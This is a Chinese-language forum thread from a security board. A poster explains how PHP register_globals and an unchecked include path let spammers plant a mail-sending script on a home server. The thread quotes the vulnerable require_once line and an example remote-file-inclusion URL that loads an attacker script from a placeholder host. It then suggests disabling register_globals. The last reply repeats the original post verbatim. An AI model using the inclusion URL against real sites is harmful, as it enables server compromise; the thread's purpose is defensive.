酷!學園

技術討論區 => 系統安全討論版 => 主題作者是: Darkhero 於 2006-02-22 19:27

主題: [PHP] Register_global = On 的危險!
作者: Darkhero2006-02-22 19:27
前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!

該段語法如下 (xxxx.inc.php):

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。

剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。
主題: Re: [PHP] Register_global = On 的危險!
作者: kenduest2006-02-22 19:48
上次 http://cle.linux.org.tw/gcin/ 就是發生這個類似情況,所以差點被當作跳板機了..

這種安全議題真的不可以不小心。

==
主題: Re: [PHP] Register_global = On 的危險!
作者: denise2013-03-18 14:12
請問一下您的 .htaccess 是怎麼設定的呢? 能否提供一下範例,感謝!!
我也遇到相同的問題,網站的程式必須要啟用 Register_global ,但基於安全性還是想把他關掉...

前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!

該段語法如下 (xxxx.inc.php):

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。

剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。